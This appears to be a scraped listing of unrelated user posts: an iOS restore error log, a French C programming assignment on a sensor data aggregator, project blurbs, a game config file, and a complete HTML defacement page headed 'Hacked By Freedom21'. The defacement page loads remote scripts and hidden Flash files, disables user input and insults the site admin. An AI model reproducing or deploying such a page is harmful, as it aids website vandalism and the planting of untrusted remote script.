proxy information and proxy is enabled. AMFDRCreateError: _AMFDRHttpRequestSendSyncNoRetry: _AMFDRHttpMessageSendSync failed: code=8 AMFDRCreateError: _AMFDRHttpRequestSendSync: httpResponseHeader is NULL: code=10 AMFDRCreateError: AMFDRDataHTTPCopyTrustObject: AMFDRDataHTTPCopyTrustObject failed: code=8 failed to copy trust object from fdrHttp 0: AMFDRError/8: AMFDRDataHTTPCopyTrustObject failed 1: AMFDRError/a: httpResponseHeader is NULL 2: AMFDRError/8: _AMFDRHttpMessageSendSync failed 3: AMFDRError/4: missing data storage path 4: AMFDRError/4: AMSupportMakeDirectory failed RestoredFDRCreate() returned 6 FDR is not supported on this device ERROR: Unable to successfully restore device No data to read ERROR: Unable to restore device
ahmedoher
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frankidav
1 Objectifs - Se familiariser avec des notions intermédiaires du langage C - Utiliser l’ensemble des notions présentées jusqu’à maintenant : les tableaux, les enregistrements, la modularité, les fichiers, les listes statiques, etc. 2 Description du projet : Un agglomérateur de données sans-fil Une tendance amorcée depuis plusieurs décennies est l’instrumentation de l’environnement et le stockage persistant de données, dans le but d’avoir accès au plus d’informations possibles et de pouvoir les utiliser pour mieux prédire et comprendre des comportements. Les données météorologiques et financières, l’instrumentation d’équipements industriels et commerciaux ou les mesures sur l’utilisation des axes routiers ne sont que quelques exemples de contextes dans lesquels les données sont agglomérées et analysées. Dernièrement, des tendances telles que l’utilisation de Big Data, l’Internet Of Thing (IOT) et le Cloud computing n’ont que confirmé que l’agglomération de données et la distributivité des systèmes informatiques étaient là pour rester et même que le volume de données n’allait que continuer à augmenter pour atteindre des proportions qu’on aurait à peine pu imaginer il y a à peine vingt ans. Bien que les infrastructures permettant d’enregistrer et de stocker les données soient multiples, un schéma émerge fréquemment : Dans ce schéma, on retrouve des équipements (E), un agglomérateur (A) et un serveur (S). INF-145 Programmation avancée et langage C Hiver 2017 /Page 2 Les équipements produisent des données. Il se peut que ce soit des mesures de température, des enregistrements audio ou des mesures biométriques, par exemple. L’agglomérateur a pour fonction d’établir le lien de communications avec les équipements et le serveur. Pour ce faire, il extrait les données des équipements, les accumulent, puis les transmettent au serveur qui les enregistrent dans une base de données, pour un stockage permanent. Le schéma présenté est une vulgaire simplification de la réalité. Généralement, il y a plus d’un agglomérateur et le nombre d’équipements peut-être incalculable. Même que le serveur peut- être un client vers un autre serveur central, s’il en est un. Ce type de topologie peut prendre des dimensions considérables même à l’échelle mondiale : Problématique Un cas particulier de ces systèmes est celui où la connexion entre les équipements et l’agglomérateur n’est pas permanente. Par exemple, si les équipements de mesures sont installés sur de la machinerie mobile, tel que des chariots élévateurs, et que le lien entre l’agglomérateur et les équipements est sans-fil et de portée limité (pensez à WiFi, Bluetooth ou ZigBee); il est évident que le mouvement des équipements les amènera à fréquemment entrer et sortir du rayon de portée de l’agglomérateur. La connexion ne peut donc pas être maintenue de façon permanente et est destinée à être interrompue à un moment ou à un autre. INF-145 Programmation avancée et langage C Hiver 2017 /Page 3 L’équipement ne peut se permettre de cesser de fonctionner lorsqu’il est hors ligne. Les données enregistrées qui ne peuvent être transmises immédiatement sont donc accumulées à l’équipement en attendant d’être transmises à l’agglomérateur. La stratégie de l’agglomérateur est donc de fonctionner de façon opportuniste. Quand un équipement entre dans le rayon – devient en ligne – l’agglomérateur lui demande de lui envoyer toutes les données enregistrées depuis la dernière connexion. De cette façon, même si les données n’arrivent pas au moment exact où elles ont été enregistrées, aucune donnée n’est perdue et elles peuvent toutes être sauvegardées. Travail à faire Dans le cadre de ce travail pratique, vous vous concentrerez sur la conception et la réalisation de l’agglomérateur et, plutôt que de communiquer avec un serveur comme illustré ci-haut, vous utiliserez un fichier texte (de format ASCII) pour stocker toutes les données sur disque dur. Les équipements et leur mise en ligne seront simulés par un module de sous-programmes qui vous est fourni. Votre programme devra implémenter la stratégie de transfert de données opportuniste décrite dans la problématique. Le projet qui vous est proposé est ancré fermement dans la réalité puisque, bien que simplifié, il s’inspire directement d’un contrat réalisé par une vraie firme d’ingénierie. Le principe de fonctionnement, l’implémentation du protocole de communication et de la structure de données est un véritable problème à résoudre pour un développeur logiciel en système embarquée. On espère que cette perspective vous stimulera. Voici une photo du prototype des équipements de mesures et de l’agglomérateur de ce travail : Les différents capteurs communiquent les données par l’entremise d’un lien Bluetooth (la lumière bleu indique d’ailleurs qu’un transfert est en cours). L’agglomérateur transmet ensuite les données vers un serveur s’exécutant sur Amazon Web Service (AWS). INF-145 Programmation avancée et langage C Hiver 2017 /Page 4 Note du concepteur du laboratoire à l’intention des élèves Prenez note que ce travail a pour but à vous amener à développer une aptitude à programmer de façon plus autonome. La longueur du travail, en ligne de code, est relativement courte et la description du fonctionnement des différents modules et sous-programme est très élaborée. D’un autre côté, très peu de noms de fonctions, de modules ou listes de paramètres sont fournis explicitement. C’est à vous d’essayer, d’inventer et, finalement, de coder ce programme. N’hésitez pas à poser des questions dans les cas où vous êtes vraiment bloqué. 3 Description de l’application L’application que vous devez développer est divisée en trois sections : 1. simulateur_capteurs : ce module vous est fourni. Il simule un groupe de capteurs qui enregistrent des données et qui les transmettent à l’agglomérateur, quand celui-ci en fait la demande. Les capteurs ne sont pas tous connectés en permanence, leurs communications avec l’agglomérateur se fait de façon asynchrone. Liste des fichiers fournis : simulateur_capteurs.cpp/.h, utils.h 2. interface : ce module vous est également fourni. Il est construit pour établir une division entre le module du simulateur de capteurs et l’agglomérateur. La seule façon par laquelle les capteurs et l’agglomérateur peuvent échanger des messages, c’est par l’entremise de l’interface. Cela met en évidence le fait que dans la réalité, le programme des capteurs et de l’agglomérateur sont deux programmes différents qui communiquent seulement par l’entremise d’une interface de transfert de données (Bluetooth, Wi-Fi, etc). L’interface définit également le protocole de communication qui doit être commun aux deux systèmes (voir : messages.h). Fichiers fournis : interface.cpp, interface.h, messages.h 3. agglomerateur : vous devez développer cette section, qui comporte plusieurs modules : le gestionnaire de communication, la base de données locale et l’interface fichier. L’agglomérateur est constamment dans l’attente de la réception d’un message et il répond en envoyant des commandes aux capteurs. De plus, il doit périodiquement écrire les données dans un fichier sur le disque dur, pour garantir leur stockage permanent. INF-145 Programmation avancée et langage C Hiver 2017 /Page 5 Schéma du programme, indiquant les principaux éléments à tenir en compte : le simulateur de capteurs, l’interface, l’agglomérateur ; De même que les définitions disponibles pour chacun des modules : messages.h pour tous, définit le protocole de communication. interface.h pour les capteurs et l’agglomérateur, Absente du schéma : utils.h accessible à tous, contient des fonctions utilitaires. 4 Module : Gestion des communications (semaine 1) Le gestionnaire des communications est son propre module, vous devez le créer et implémenter les fonctionnalités qui suivent. Lisez la section en entier avant de commencer le travail, et prenez le temps de planifier ce que vous allez faire, avant de vous lancer. 4.1 Détection des événements L’agglomérateur attend perpétuellement l’avènement d’un événement. Il le fait en faisant des requêtes périodiques à la fonction detection_evenement, disponible dans le module d’interface (interface.h). La fonction detection_evenement retourne VRAI (1) à chaque fois qu’un des capteurs a envoyé un message par l’entremise de l’interface. À ce moment, l’agglomérateur doit : récuperer le message (avec reception_message_capteur dans interface.h) analyser le message et produire une réponse (fonctions à définir et décrite dans la soussection suivante), INF-145 Programmation avancée et langage C Hiver 2017 /Page 6 puis envoyer le message au capteur (avec la fonction envoyer_vers_capteur, dans interface.h). Voici l’ordinogramme qui décrit ce processus : 4.2 Analyse du message et production de la réponse (entête) Les messages contiennent deux parties : l’entête et le contenu (voir messages.h). Dans cette section nous nous concentrons uniquement sur l’entête, car toute la séquence des communications peut s’exécuter sans tenir compte du contenu. Type : t_message - entête L’entête permet de savoir qu’elle est le message et, dans le cas où le message contient des données, le contenu contient ces données. Voici une illustration de la structure en mémoire d’un message, tel que défini dans messages.h : INF-145 Programmation avancée et langage C Hiver 2017 /Page 7 Le premier champ, id_capteur, est une chaîne de caractères unique à chaque capteur. Elle doit être utilisé lors de la réception d’un message, pour déterminer quel capteur a envoyé le message, puis doit être inclus dans les messages envoyés pour indiquer à quel capteur le message s’adresse. Le second champ, commande, indique de quel type de message il s’agit. C’est à partir de la commande que le capteur et l’agglomérateur savent ce qu’ils doivent faire avec le message (voir section 4.1.2). Les valeurs possibles pour la commande sont définies dans un enum t_commande. Le troisième champ, contenu, est un espace mémoire qui est utilisé dans les cas où le message contient des données. C’est à partir du champ commande que l’on sait comment interpréter cet espace-mémoire (voir section 5). 4.3 Séquence d’échange de message Voici maintenant la séquence des échanges entre les capteurs et l’agglommérateur; du début d’une connexion jusqu’à sa fin. Toutes les constantes commençant par « MSG_ » sont des commandes, tel que défini dans messages.h : Voici une description de la séquence : Tout d’abord, quand le capteur en a l’occasion, il envoie un message à l’agglomérateur qui contient la commande MSG_DEBUT_COMM. L’envoi de ce message résulte en un événement du côté de l’agglomérateur (section 4.1). L’agglomérateur répond avec un message demandant le statut du capteur MSG_DEMANDE_STATUS. INF-145 Programmation avancée et langage C Hiver 2017 /Page 8 Le capteur envoi ensuite un message contenant le statut MSG_ENVOI_STATUS. Le statut indique combien de mesuresle capteur a accumulé (traité dans la section 5). Si le nombre de mesures est supérieur à 0, l’agglomérateur doit répondre MSG_DEMANDE_MESURES, sinon il répond MSG_TERMINE_COMM. Si l’agglomérateur a demandé des mesures au capteur, le capteur envoie MSG_ENVOI_MESURES. S’il reste des mesures dans le capteur, l’agglomérateur répond MSG_DEMANDE_MESURES à nouveau, sinon il répond MSG_TERMINE_COMM. Prenez note que l’échange MSG_DEMANDE_MESURES MSG_ENVOI_MESURES, peut se répéter plusieurs fois lors d’une communication. 4.4 Implémentation Vous avez maintenant toute l’information nécessaire pour construire le gestionnaire d’événements. Voici quelques détails et instructions supplémentaires pour vous aider : o Le gestionnaire doit être entièrement contenu dans un seul module. o En plus des librairies standards, il ne peut inclure que le fichier « interface_agglomerateur.h », qui inclut également « message.h ». o Il est strictement interdit d’inclure des définitions provenant du simulateur de capteurs. o Le simulateur de capteurs peut-être initialisé (voir programme_principal.cpp) selon plusieurs modes d’opération. Pour l’instant, initialisez-le avec le mode UN_SEUL_CAPTEUR, cela simplifiera le problème pour l’instant. o Vous n’avez pas à analyser le champ id_capteur pour l’instant, mais il doit être copié dans la réponse. o Vous pouvez également ignorer le statut du capteur et ne faire qu’une seule demande de mesures : MSG_DEMANDE_MESURES, puis retourner MSG_TERMINER_COMM après la réception de MSG_ENVOI_MESURES. La gestion des mesures se fera dans la section 5. o Vous avez le droit d’analyser le code de « simulateur_capteurs.cpp » et de vous en inspirer. Vous avez même le droit de le modifier pour vos tests, mais il doit être remis à son état original avant votre remise. Par exemple, les fonctions simulateur_traitement_message et active_capteur_alea utilisent toutes deux un switch pour catégoriser un type enum. o Conseil, faites une fonction par message à traiter : MSG_DEBUT_COMM, MSG_ENVOI_STATUS, MSG_ENVOI_MESURES. o À la suite de votre développement, vous devriez être capable de lancer l’exécution du gestionnaire des communications à partir d’un seul appel de fonction, à ajouter au programme principal. Votre but est d’être capable d’exécuter toutes la séquence de communications, à répétition. Une fois cela fait, vous pouvez continuer à la prochaine section. Comparer le comportement de votre application avec la solution, configuré pour un seul capteur. INF-145 Programmation avancée et langage C Hiver 2017 /Page 9 5 Base de données locales (semaine 2-3) La base de données locales est une liste statique qui contient l’information relative à chaque capteur, tel que : le nom des capteurs, le nombre de mesures restantes dans le capteur et les mesures recueillis par l’agglomérateur jusqu’à maintenant. Son développement se fait en deux étapes. La première est de construire le système qui fait la liste des noms des capteurs du réseau. La seconde est d’extraire les mesures des capteurs et les stocker dans l’agglomérateur. La base de données locale est un module à part entière. Ce module ne peut inclure les entêtes du simulateur de capteurs. À ce point du développement, ce module est destiné à être appelé du gestionnaire des communications uniquement. 5.1 Identification des capteurs du réseau Initialisation du module Le nombre de capteurs présent dans le réseau est une donnée connue (voir le programme principal). L’information doit donc être passée comme argument à partir du programme principal. La taille de la liste statique doit être initialisée à partir du nombre de capteurs reçu en paramètre. Fonctionnement du module Au moment du lancement du programme, la liste statique contient des éléments initialisés avec des valeurs par défaut. Les noms des capteurs du réseau sont encore inconnus, puisqu’aucun capteur ne s’est connecté à l’agglomérateur. Au départ, il s’agit donc d’avoir un mécanisme qui permet d’ajouter un capteur dans la liste. Le même mécanisme sera également utilisé pour retrouver un capteur déjà présent dans la liste, un peu plus loin. Voici l’ordinogramme du fonctionnement de ce mécanisme. INF-145 Programmation avancée et langage C Hiver 2017 /Page 10 Une fois que tous les capteurs se seront connectés, voici l’état final du contenu de la liste : Procédure de validation Changer le mode d’opération du simulateur de capteurs pour NORMAL, puis laissez le code s’exécuter pendant au moins une minute. Assurez-vous que vous avez bel et bien un nombre d’identificateurs de capteur correspondant au nombre entré par l’utilisateur en début de simulation. Chaque nom doit être unique et du style : « id455 », où l’entier (455) est choisi aléatoirement. (faites-vous une fonction pour afficher le contenue de la liste) 5.2 Sauvegarde du nombre de mesures présente dans le capteur Au moment de sa connexion à l’agglomérateur, un capteur a généralement un certain nombre de mesures accumulées en mémoire. Le nombre de mesures est envoyé lors de la réponse au message MSG_DEMANDE_STATUS (voir messages.h). INF-145 Programmation avancée et langage C Hiver 2017 /Page 11 Lorsque le MSG_ENVOI_STATUS est reçu par le gestionnaire des communications, celui-ci doit sauvegarder la valeur contenue dans le message dans l’élément correspondant au capteur_id. Pour ce faire : Utilisez la fonction qui permet d’obtenir une référence sur l’élément correspondant à l’id du capteur (voir sous-section 5.1.2). Appelez la fonction permettant d’enregistrer le nombre de mesures sauvegardées dans le capteur (vous devez la faire). 5.3 Sauvegarde des mesures présentent dans le capteur À ce moment vous avez : Établit le contact avec les capteurs Organisé les capteurs dans une liste et construit un mécanisme pour les ajouter/trouver Enregistré le nombre de mesures disponibles au capteur Il s’agit maintenant de maîtriser le transfert des mesures des capteurs vers l’agglomérateur. 5.3.1 Explication : Côté capteur Le capteur accumule des mesures dans sa mémoire jusqu’à ce qu’il arrive à se connecter à l’agglomérateur. Lorsque la connexion est établit, il attend que l’agglomérateur lui demande des mesures. Quand l’agglomérateur lui demande des mesures, le capteur lui en envoie et efface de sa mémoire les mesures qui ont été envoyées. Le nombre de mesures qui peut être envoyé dans une transaction est limité par une constante définit dans messages.h. Si le nombre de mesures mémorisé est plus grand que ce nombre maximal, le transfert des mesures nécessitera plusieurs transactions. 5.3.2 Côté agglomérateur Lors de la connexion, l’agglomérateur demande le nombre de mesures que le capteur possède (voir section 5.2). Si le nombre de mesures est supérieur à 0, alors l’agglomérateur demande au capteur de lui envoyer des mesures. À chaque fois que le capteur envoi des mesures, l’agglomérateur : enregistre les mesures dans l’élément de liste correspondant (les détails suivent) actualise le nombre de mesures restantes dans le capteur. Cette valeur est sauvegardée dans l’élément de liste correspondant à ce capteur (section 5.2). INF-145 Programmation avancée et langage C Hiver 2017 /Page 12 L’agglomérateur vérifie à nouveau si le nombre de mesures est supérieur à 0. Si c’est le cas, il demande d’autres mesures, sinon il termine la communication (voir 4.1.2). Voici une illustration qui démontre comment cette opération est effectuée. 5.3.3 Détails concernant l’implémentation Le tableau contenant les mesures, du côté agglomérateur, doit être dans un élément de la liste. La taille maximale du tableau doit être une constante d’une valeur de 1000. Une fonction informatrice (get_) qui permet de connaître le nombre de mesures restantes dans le capteur est obligatoirement nécessaire. Une fonction qui ajoute les mesures à un élément de la liste doit être ajoutée au programme. Cette fonction reçoit une référence à l’élément de la liste, puis un tableau de réels contenant les mesures et finalement un entier indiquant le nombre de mesures dans le tableau. Toute la logique de la communication doit être ajoutée au segment de code qui gère le MSG_ENVOI_MESURES du module de gestion des communications. INF-145 Programmation avancée et langage C Hiver 2017 /Page 13 5.3.4 Validation 1. Tout d’abord tester votre programme en faisant l’initialisation du simulateur en mode UN_SEUL_CAPTEUR. Puisqu’il s’agit d’un mode de validation, toutes les mesures sont des entiers commençant à 0, puis s’incrémentant de 1. Vérifiez que les mesures sont bel et bien transmises du capteur vers votre base de données locale et que toutes les valeurs se retrouvent dans le bon ordre. 2. Pour tester avec plus d’un capteur, il y a deux modes disponibles : MESURE_EN_SEQUENCE_PAR_CAPTEUR : Toutes les mesures produites pour un capteur sont en ordre et commencent à 0, puis s’incrémentent de 1. Tous les capteurs ont donc les mêmes mesures, mais les mesures sont toutes uniques pour un capteur donné. Un exemple est fourni dans le fichier : ex_mesures_en_sequence_par_capteur.txt MESURE_EN_SEQUENCE : Toutes les mesures produites sont en ordre et commencent à 0, puis s’incrémentent de 1, indépendamment du capteur. Par conséquent, toutes les mesures sont uniques et chaque capteur contient des mesures différentes. Il reste que les mesures ont une structure qui aide à identifier les problèmes. Un exemple est fourni dans le fichier : ex_mesures_en_sequence.txt NORMAL : Les mesures sont déterminées aléatoirement. 6 Interface fichier (semaine 4) La base de données locales ne sert à garder les mesures que temporairement. Pour que les mesures soient mémorisées de façon permanente, elles doivent être transférées dans un fichier. Le format utilisé pour l’écriture des données dans le fichier est le format CSV (https://en.wikipedia.org/wiki/Comma-separated_values). Selon ce standard, chaque mesure est séparée par une virgule et chaque entrée est sur sa propre ligne. Dans notre cas, une entrée consiste en les mesures de chaque capteur. Par exemple, un système à 5 capteurs aura donc 5 mesures par ligne (voir fichier : ex_mesures_en_sequence.txt). 6.1 Initialisation Ce module doit proposer une procédure pour être initialisé. Cette fonction reçoit comme paramètre le nom du fichier et le nombre de capteurs. Cette procédure ouvre le fichier en écriture et le ferme immédiatement, pour effacer le contenu d’un fichier déjà existant. L’appel à cette procédure doit être placé dans l’initialisation du gestionnaire de messages. Ajustez les appels et définitions de fonctions en conséquence. 6.2 Transfer des données vers le fichier Le transfert de données vers le fichier doit se faire ligne par ligne. La façon dont les capteurs communiquent leurs mesures par contre est incompatible avec cela. En effet les capteurs transfèrent leurs mesures par paquet, mais l’écriture des mesures requiert que tous les capteurs aient le même nombre de mesures : INF-145 Programmation avancée et langage C Hiver 2017 /Page 14 Par exemple, disons que le système comporte 3 capteurs et qu’ils aient chacun {120, 150, 0} mesures en mémoire. Il n’est pas possible d’écrire les données lignes par lignes, car il n’y a pas de mesure à écrire sur la ligne pour le troisième capteur. Par contre, si les 3 capteurs ont chacun {75, 150 et 125} mesures, il est alors possible d’écrire dans le fichier 75 mesures pour chaque capteurs, ce qui fait qu’il n’en restera ensuite que {0, 75 et 50} dans la mémoire temporaire. C’est à cela que sert la base de données locale, elle sert de tampon de façon à accumuler les données jusqu’à ce que tous les capteurs aient un minimum de mesures en commun avant de pouvoir faire le transfert. 6.2.1 Nombre de mesures minimales en commun La gestion de la liste développée à la section 5 exige une fonction qui permet de connaître le nombre de mesures minimales, commun à tous les éléments. Ajoutez cette fonction (aide : Il s’agit d’un algorithme pour trouver la valeur minimale de la liste). 6.2.2 Lire les mesures de la base de données La lecture des données dans la base de données se fait de la manière suivante : Dans la liste La liste propose une fonction (à faire) qui reçoit en paramètre le nombre de mesures à lire et une référence vers un tableau où mettre ces mesures. L’appelant s’est déjà assuré de fournir un tableau de taille suffisante. La fonction copie les données dans le tableau reçu, et efface ensuite les données de la base de données, en décalant les mesures restantes vers le début du tableau. 6.2.2 Transfert des mesures vers les fichiers Dans l’interface fichier Il est maintenant possible d’ajouter une procédure dans l’interface-fichier qui transfert les mesures de la liste vers le fichier, voici la séquence d’opérations à faire : Obtenir le nombre de mesures minimales (voir 6.2.1) INF-145 Programmation avancée et langage C Hiver 2017 /Page 15 Si ce nombre est plus grand que 50 (constante à définir), Créer un tableau 2D de taille suffisante pour contenir les mesures (faites une fonction) Appeler la procédure de lecture des mesures (6.2.2) Ouvrir le fichier texte de mesures en mode d’ajout (append) Copier toutes les mesures dans le fichier selon le standard CSV Libérer la mémoire du tableau 3D (faites une fonction) Fermer le fichier Ajoutez un appel à cette fonction dans le gestionnaire de messages. L’appel doit être fait chaque fois que la détection d’événements retourne FAUX (voir section 4.1). 7 Contraintes de l'enseignant Votre programme devra respecter les contraintes suivantes : Il devra respecter les exigences de remise des travaux pratiques. Il ne devra contenir aucune variable globale. La présence d’une variable globale entraînera la perte de 25 % des points. Il ne devra contenir aucun goto et aucun exit. La présence d’une de ces instructions entraînera la perte de 10 % des points. Votre travail devra être remis sur Moodle. En cas de doute, n’hésitez pas à consulter votre enseignant. BON TRAVAIL!
Parzival4o4
An under-the-desk-style deej volume mixer with six rotary encoders for controlling individual audio channels on your PC, a display for visual feedback, and an air quality sensor that I had lying around.
ruwibdilshani
The Music Player web application is a simple yet functional platform for playing a list of songs. Developed using HTML, CSS, and JavaScript, it provides a user-friendly interface to control playback, adjust volume, and navigate through the playlist. The project is built using HTML for structure, CSS for styling, and JavaScript for functionality.
Fariz21
<font size="5"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Hacked By Freedom21</title> <link rel="SHORTCUT ICON" href="http://dotcomcell.com/kumpulan-artikel/wp- content/uploads/2011/08/gambar-animasi-bendera-merah-putih-berkibar1.gif" href="http://2.bp.blogspot.com/_OoNYJfsEuXI/TLGUge5UFdI/AAAAAAAAAY0/fCmNi6fnkp4/s400/ indonesia.gif"> <style type="text/css">body, a, a:hover {cursor: url(http://hellox.persiangig.com/DefacePage/negro.cur), progress;} </style> <!-- CSS --> <link rel="stylesheet" type="text/css" href="http://hellox.persiangig.com/DefacePage/jquery00.css" media="all"> <link rel="stylesheet" type="text/css" href="http://hellox.persiangig.com/DefacePage/prettyPh.css" media="all"> <link rel="stylesheet" type="text/css" href="http://hellox.persiangig.com/DefacePage/style000.css" media="all"> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery- 1.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/cufon- yu.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/Yanone_K.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery00.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery01.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery02.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery03.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery04.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery05.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery06.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/jquery07.js"></script> <script type="text/javascript" src="http://hellox.persiangig.com/DefacePage/custom00.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; 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for (i = 0; i < n; i++){if(n4){document.layers['n4mensaje'+i].top = y[i];document.layers['n4mensaje'+i].left = x[i]+(i* (a/2));}else if(ie){iemensaje[i].style.top = y[i];iemensaje[i].style.left = x[i]+(i* (a/2));}else if(n6){eval ("document.getElementById('iemensaje"+i+"').style.top = '"+y[i]+"px'");eval("document.getElementById('iemensaje"+i +"').style.left = '"+(x[i]+(i*(a/2)))+"px'");} }} function ondula(){y[0]=Math.round(Y[0] +=((ymouse)- Y[0])*velocidad);x[0]=Math.round(X[0] +=((xmouse)-X[0]) *velocidad); for (var i = 1; i < n; i++){Yaux[i] = Math.round(Y[i]);Xaux[i ]= Math.round(X[i]);y[i] = Math.round(Y[i]=Yaux[i]+(y[i-1]-Y [i])*velocidad);x[i] = Math.round(X[i]=Xaux[i]+(x[i-1]- X[i])*velocidad);}asigna();setTimeout('ondula()',50);} window.onload = ondula; </script> <link rel="openid.server" href="http://www.blogger.com/openid-server.g" /> </head> <body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'> <embed src="http://error-404.do.am/file/Welcome.swf" width="0" height="0" allowfullscreen="true" allowscriptaccess="always"></embed> <!-- wrappage begin here --> <div id="wrappage"> <!-- container begin here --> <div class="container"> <!-- top block begin here --> <div class="top"> <div class="energy"> </div> <div class="top-block"> <a class="logo">This Site Has Been Hacked</a> <div class="bg-e-button"> </div> <a href class="open"><img src="http://hellox.persiangig.com/DefacePage/flash000.png" alt=""></a> </div> </div> <!-- top block end here --> <!-- center block begin here --> <div class="center-block"> <!-- ???? --> <div class="scanner clearfix"> <div class="scanner-block"> <div class="scanner-box left"> <div class="scanner-line"> </div> </div> <ul class="data left"> <li class="search">Waiting. . . . .</li> <li class="search-d"># / > Logged In..</li> <li class="search-d"># / > Identify Unknown..</li> <li class="search-d"># / > Access Granted..</li> <li class="search-d"># / > Welcome admin..</li> </ul> </div> </div> <!-- ??? ???? --> <div class="main"> <div class="load"> </div> <div class="shut-left"> </div> <div class="shut-right"> </div> <div class="page"> <div class="box-left left"> <div class="info"> <ul class="socicon left"> <img src="http://s21.postimg.org/d7irajxbr/dddddfffffffffffffff.jpg" width="190" height="160" alt="My Mom" class="right"></br></br> </a></li> </ul> <ul class="left who"> <li><center> <font color="gold"><br /></font></center> </li> </ul> <P ALIGN=center><object data='http://flash-mp3-player.net/medias/player_mp3.swf' height='0' type='application/x-shockwave-flash' width='0'> <param name=' value='#'/><br/><param name='FlashVars' value='mp3=https://xover2-jkt- 3d-x.indowebster.com/download- vip/8/f3f2efb64a5c279db67fead286dc23dd.mp3/[files.indowebster.com]-Mcr_-_Welcome_To_The_Black_Parade.mp3&loop=1&autoplay=1&volume=150'/></object></p></embed></CENTER> </div> <ul id="menu" class="right"> <li> <a href="#msg" class="selected">Message</a> <a href="#sysinfo" class="selected">About Me</a> <a href="#Thanks" class="selected">Thanks To</a> </li> </ul> </div> <div class="cont left"> <!-- ????? --> <div id="msg" class="box left"> <div class="box-content"> <h3> <font color="red">Welcome <font color="red"> To This Site</font></h3> <h3> <font color="lime"></font></h3> <p class="sub"> <font color="lime"></font></p> <strong><center> <font color="lime"></font></center> </strong> <p> <font face="Rockwell" color="red">This Site Has Been Hacked By<font face="Rockwell" color="lime"> Freedom21 <p> <font face="Rockwell" color="green"> We Not Hack To Learn But We Learn To Hack ! <p> <font face="Rockwell" color="Green"> Fuck You Admin ! This Site Is Vulnerability Please Patch Your System ! Or We Back ! <p> <font face="Rockwell" color="Green"><font face="Rockwell" color="red"><br><font face="Rockwell" color="red">Some Member Of Java Cyber Army <center> </div> </div> <h3> <font color="lime"></font></h3> <p class="sub"> <font color="lime"></font></p> <strong><center> <font color="lime"></font></center> </strong> <p> <font face="Rockwell" color="lime"><div id="sysinfo" class="box left"> <div class="box-content"> <h3> Freedom21 </h3> <p class="sub"> Member Of JKT48 Cyber Team </p> <p> <font face="rockwell" font color="lime"> I am Not A Hacker .. But I am Just Security Tester , I am Just Tested Your Security<br> </div> </div> <h3> <font color="lime"></font></h3> <p class="sub"> <font color="lime"></font></p> <strong><center> <font color="lime"></font></center> </strong> <p> <font face="Rockwell" color="lime"><div id="Thanks" class="box left"> <div class="box-content"> <h3> Thanks To: </h3> </p> <p> <font face="rockwell" font color="lime"> | Allah SWT | Cindy JKT48 | Melody JKT48 | Hmei7 | Freedom21 | Newbie Cyber Team | Indonesian Fighter Cyber | Indonesian Cyber Army | Java Cyber Army | JKT48 CYBER TEAM | VVota404 | Harugon48 | All Member JKT48 | Udin404 | <br/> </p> </p> </div> </div> <div id="irc" class="box left"> <div class="box-content"> </div> </div> </div> </div> </div> </div> <div class="bottom"> <div class="bottom-block"> <h1 class="left">Hacked By Freedom21</h1> <h5 class="right">Copyright 2013 By ./Harugon48 All Rights Reserved<br> <EMBED SRC="http://error-404.do.am/50256-h4ck3d.swf" AUTOSTART="TRUE" LOOP="TRUE" WIDTH="1" HEIGHT="1" ALIGN="CENTER" width="0" height="0"></EMBED> <p align="center"> </div> </div> </div> </div> </body> </html>
pik4li
An i3bar-styled QuickShell configuration with some opinionated changes, a notification agent (works with notify-send), and a volume OSD.
FlamR1
unbindall bind "0" "noclip" bind "1" "slot1" bind "2" "slot2" bind "3" "slot3" bind "4" "slot4" bind "5" "slot5" bind "6" "slot6" bind "7" "slot7" bind "8" "say █▀▀ █▀█ █▀█ █" bind "9" "say █▄▄ █▄█ █▄█ █▄▄" bind "a" "+moveleft" bind "b" "buymenu" bind "c" "radio1" bind "d" "+moveright" bind "e" "+use" bind "f" "+lookatweapon" bind "g" "drop" bind "h" "+jump; -attack; -jump" bind "i" "volume 0.1" bind "k" "+voicerecord" bind "m" "teammenu" bind "o" "toggleconsole" bind "p" "say !r" bind "q" "lastinv" bind "r" "+reload" bind "s" "+back" bind "t" "+spray_menu" bind "u" "messagemode2" bind "w" "+forward" bind "x" "radio2" bind "y" "messagemode" bind "z" "radio" bind "KP_INS" "noclip" bind "KP_HOME" "sv_rethrow_last_grenade " bind "," "buyammo1" bind "." "buyammo2" bind "SPACE" "+jump" bind "TAB" "+showscores" bind "ESCAPE" "cancelselect" bind "DEL" "mute" bind "PAUSE" "pause" bind "SHIFT" "+speed; r_cleardecals;" bind "ALT" "+jump;-attack;-attack2;-jump" bind "CTRL" "+duck" bind "F3" "autobuy" bind "F4" "rebuy" bind "F5" "jpeg" bind "F6" "save quick" bind "F7" "load quick" bind "F10" "quit prompt" bind "MOUSE1" "+attack" bind "MOUSE2" "+attack2" bind "MOUSE3" "player_ping" bind "MWHEELUP" "+jump" bind "MWHEELDOWN" "+jump" @panorama_debug_overlay_opacity "0.8" adsp_debug "0" ai_report_task_timings_on_limit "0" ai_think_limit_label "0" budget_averages_window "30" budget_background_alpha "128" budget_bargraph_background_alpha "128" budget_bargraph_range_ms "16.6666666667" budget_history_numsamplesvisible "100" budget_history_range_ms "66.666666667" budget_panel_bottom_of_history_fraction ".25" budget_panel_height "384" budget_panel_width "512" budget_panel_x "0" budget_panel_y "50" budget_peaks_window "30" budget_show_averages "0" budget_show_history "1" budget_show_peaks "1" bugreporter_uploadasync "0" bugreporter_username "" c_maxdistance "200" 